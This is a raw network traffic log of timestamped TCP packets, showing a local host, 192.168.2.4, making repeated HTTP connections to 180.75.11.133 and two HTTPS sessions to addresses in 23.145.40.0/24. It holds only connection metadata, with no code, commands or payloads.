Oct 8, 2024 03:14:47.959599018 CEST	80	49754	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:47.961585045 CEST	80	49755	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:47.961740017 CEST	49755	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:47.961740017 CEST	49755	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:47.961771965 CEST	49755	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:47.966646910 CEST	80	49755	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:47.966674089 CEST	80	49755	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:49.383939028 CEST	80	49755	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:49.384071112 CEST	80	49755	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:49.384205103 CEST	49755	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:49.384205103 CEST	49755	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:49.386409044 CEST	49756	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:49.389260054 CEST	80	49755	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:49.391324043 CEST	80	49756	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:49.391413927 CEST	49756	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:49.391505957 CEST	49756	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:49.391505957 CEST	49756	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:49.396481037 CEST	80	49756	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:49.396843910 CEST	80	49756	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:50.821456909 CEST	80	49756	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:50.822081089 CEST	80	49756	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:50.822469950 CEST	49756	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:50.822469950 CEST	49756	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:50.824444056 CEST	49758	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:50.828017950 CEST	80	49756	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:50.829504013 CEST	80	49758	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:50.829586983 CEST	49758	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:50.829643011 CEST	49758	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:50.829658031 CEST	49758	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:50.834651947 CEST	80	49758	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:50.834861994 CEST	80	49758	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:52.231482983 CEST	80	49758	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:52.232073069 CEST	80	49758	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:52.232319117 CEST	49758	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:52.232726097 CEST	49758	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:52.236121893 CEST	49759	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:52.238174915 CEST	80	49758	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:52.242707968 CEST	80	49759	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:52.243062019 CEST	49759	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:52.243201971 CEST	49759	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:52.243201971 CEST	49759	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:52.248775005 CEST	80	49759	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:52.248814106 CEST	80	49759	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:53.618547916 CEST	80	49759	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:53.619004965 CEST	80	49759	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:53.619316101 CEST	49759	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:53.619316101 CEST	49759	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:53.622256041 CEST	49760	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:53.624342918 CEST	80	49759	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:53.627271891 CEST	80	49760	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:53.627454996 CEST	49760	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:53.627556086 CEST	49760	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:53.627556086 CEST	49760	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:53.632426023 CEST	80	49760	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:53.632716894 CEST	80	49760	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:55.011884928 CEST	80	49760	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:55.011926889 CEST	80	49760	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:55.011955976 CEST	80	49760	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:55.012095928 CEST	49760	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:55.012096882 CEST	49760	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:55.012167931 CEST	49760	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:55.013972044 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:55.014058113 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:55.014307976 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:55.014470100 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:55.014504910 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:55.021090984 CEST	80	49760	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:55.608984947 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:55.609208107 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:55.610949039 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:55.610980034 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:55.611357927 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:55.617826939 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:55.663427114 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:55.834451914 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:55.834481001 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:55.834665060 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:55.834726095 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:55.883780956 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:55.920800924 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:55.920810938 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:55.920975924 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:55.921000957 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:55.921051025 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:55.921066046 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:55.921252012 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:55.921252012 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:55.922159910 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:55.922343969 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:55.922986984 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:55.923052073 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.008177996 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.008397102 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.008495092 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.008495092 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.008558035 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.008632898 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.008836985 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.008897066 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.008930922 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.009145021 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.009205103 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.009269953 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.009656906 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.009720087 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.010579109 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.010646105 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.011507034 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.011579990 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.076931953 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.077060938 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.094271898 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.094362020 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.094396114 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.094470978 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.094839096 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.094904900 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.095199108 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.095261097 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.095603943 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.095665932 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.095839024 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.095896006 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.096622944 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.096745014 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.096826077 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.096898079 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.097608089 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.097667933 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.097825050 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.097882986 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.098660946 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.098737955 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.163130999 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.163254976 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.163271904 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.163347960 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.180694103 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.180872917 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.180883884 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.180953026 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.181005001 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.181005001 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.181046963 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.181267023 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.181318045 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.181318045 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.181381941 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.181437969 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.181593895 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.181658983 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.181855917 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.181915045 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.182028055 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.182090998 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.182403088 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.182465076 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.182724953 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.182785988 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.185647011 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.185729980 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.185995102 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.186183929 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.186270952 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.186335087 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.186554909 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.186623096 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.186754942 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.186825037 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.187011003 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.187073946 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.206231117 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.206439018 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.249998093 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.250091076 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.267138958 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.267330885 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.267364979 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.267435074 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.267508984 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.267513037 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.267570972 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.267587900 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.267816067 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.267996073 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.268004894 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.268064022 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.268109083 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.268244028 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.268302917 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.268318892 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.268460035 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.268521070 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.268532038 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.268636942 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.268693924 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.268704891 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.268862009 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.268918991 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.268932104 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.269480944 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.269541025 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.269553900 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.269778013 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.269836903 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.269846916 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.270039082 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.270101070 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.270112038 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.270226955 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.270284891 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.270298004 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.270570040 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.270637989 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.270648956 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.270725965 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.270773888 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.270785093 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.270802975 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.270844936 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.272799015 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.272833109 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.272859097 CEST	49762	443	192.168.2.4	23.145.40.164
Oct 8, 2024 03:14:56.272872925 CEST	443	49762	23.145.40.164	192.168.2.4
Oct 8, 2024 03:14:56.379113913 CEST	49773	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:56.384289026 CEST	80	49773	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:56.384377003 CEST	49773	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:56.384501934 CEST	49773	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:56.384537935 CEST	49773	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:56.389436960 CEST	80	49773	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:56.389467955 CEST	80	49773	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:57.757764101 CEST	80	49773	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:57.757874012 CEST	80	49773	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:57.758027077 CEST	49773	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:57.758110046 CEST	49773	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:57.760785103 CEST	49784	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:57.763063908 CEST	80	49773	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:57.765732050 CEST	80	49784	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:57.765804052 CEST	49784	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:57.765925884 CEST	49784	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:57.765960932 CEST	49784	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:57.770802021 CEST	80	49784	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:57.770831108 CEST	80	49784	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:59.141500950 CEST	80	49784	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:59.141537905 CEST	80	49784	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:59.141611099 CEST	49784	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:59.141733885 CEST	49784	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:59.143938065 CEST	49795	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:59.146562099 CEST	80	49784	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:59.148797035 CEST	80	49795	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:59.148865938 CEST	49795	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:59.148987055 CEST	49795	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:59.149019957 CEST	49795	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:14:59.153898001 CEST	80	49795	180.75.11.133	192.168.2.4
Oct 8, 2024 03:14:59.153947115 CEST	80	49795	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:00.543446064 CEST	80	49795	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:00.543540955 CEST	80	49795	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:00.543732882 CEST	49795	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:00.543823004 CEST	49795	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:00.545702934 CEST	49803	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:00.548861027 CEST	80	49795	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:00.550878048 CEST	80	49803	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:00.550945044 CEST	49803	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:00.551059008 CEST	49803	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:00.551074982 CEST	49803	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:00.556107044 CEST	80	49803	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:00.556133986 CEST	80	49803	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:01.942102909 CEST	80	49803	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:01.943020105 CEST	80	49803	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:01.943078995 CEST	49803	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:01.945344925 CEST	49803	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:01.950215101 CEST	80	49803	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:01.950754881 CEST	49812	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:01.957201004 CEST	80	49812	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:01.957259893 CEST	49812	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:01.957376957 CEST	49812	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:01.957405090 CEST	49812	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:01.962224960 CEST	80	49812	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:01.962354898 CEST	80	49812	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:03.346745014 CEST	80	49812	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:03.347078085 CEST	80	49812	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:03.347157955 CEST	49812	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:03.347276926 CEST	49812	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:03.349416018 CEST	49822	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:03.352575064 CEST	80	49812	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:03.354393959 CEST	80	49822	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:03.354494095 CEST	49822	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:03.354633093 CEST	49822	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:03.354633093 CEST	49822	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:03.361694098 CEST	80	49822	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:03.361721039 CEST	80	49822	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:04.734694958 CEST	80	49822	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:04.734750986 CEST	80	49822	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:04.734946012 CEST	49822	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:04.735063076 CEST	49822	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:04.737210989 CEST	49831	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:04.739859104 CEST	80	49822	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:04.742156029 CEST	80	49831	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:04.742368937 CEST	49831	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:04.742368937 CEST	49831	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:04.742368937 CEST	49831	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:04.747371912 CEST	80	49831	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:04.747493982 CEST	80	49831	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:06.121746063 CEST	80	49831	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:06.121970892 CEST	80	49831	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:06.122206926 CEST	49831	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:06.122206926 CEST	49831	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:06.125716925 CEST	49841	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:06.127238989 CEST	80	49831	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:06.130673885 CEST	80	49841	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:06.130877018 CEST	49841	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:06.130975008 CEST	49841	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:06.130975008 CEST	49841	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:06.136018991 CEST	80	49841	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:06.136045933 CEST	80	49841	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:07.506372929 CEST	80	49841	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:07.506428003 CEST	80	49841	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:07.506496906 CEST	49841	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:07.506592989 CEST	49841	80	192.168.2.4	180.75.11.133
Oct 8, 2024 03:15:07.511534929 CEST	80	49841	180.75.11.133	192.168.2.4
Oct 8, 2024 03:15:18.583092928 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:18.583118916 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:18.583175898 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:18.583394051 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:18.583398104 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.196371078 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.196430922 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.203792095 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.203795910 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.204518080 CEST	443	49915	23.145.40.168	192.168.2.4
Oct 8, 2024 03:15:19.207155943 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.207202911 CEST	49915	443	192.168.2.4	23.145.40.168
Oct 8, 2024 03:15:19.207207918 CEST	443	49915	23.145.40.168	192.168.2.4
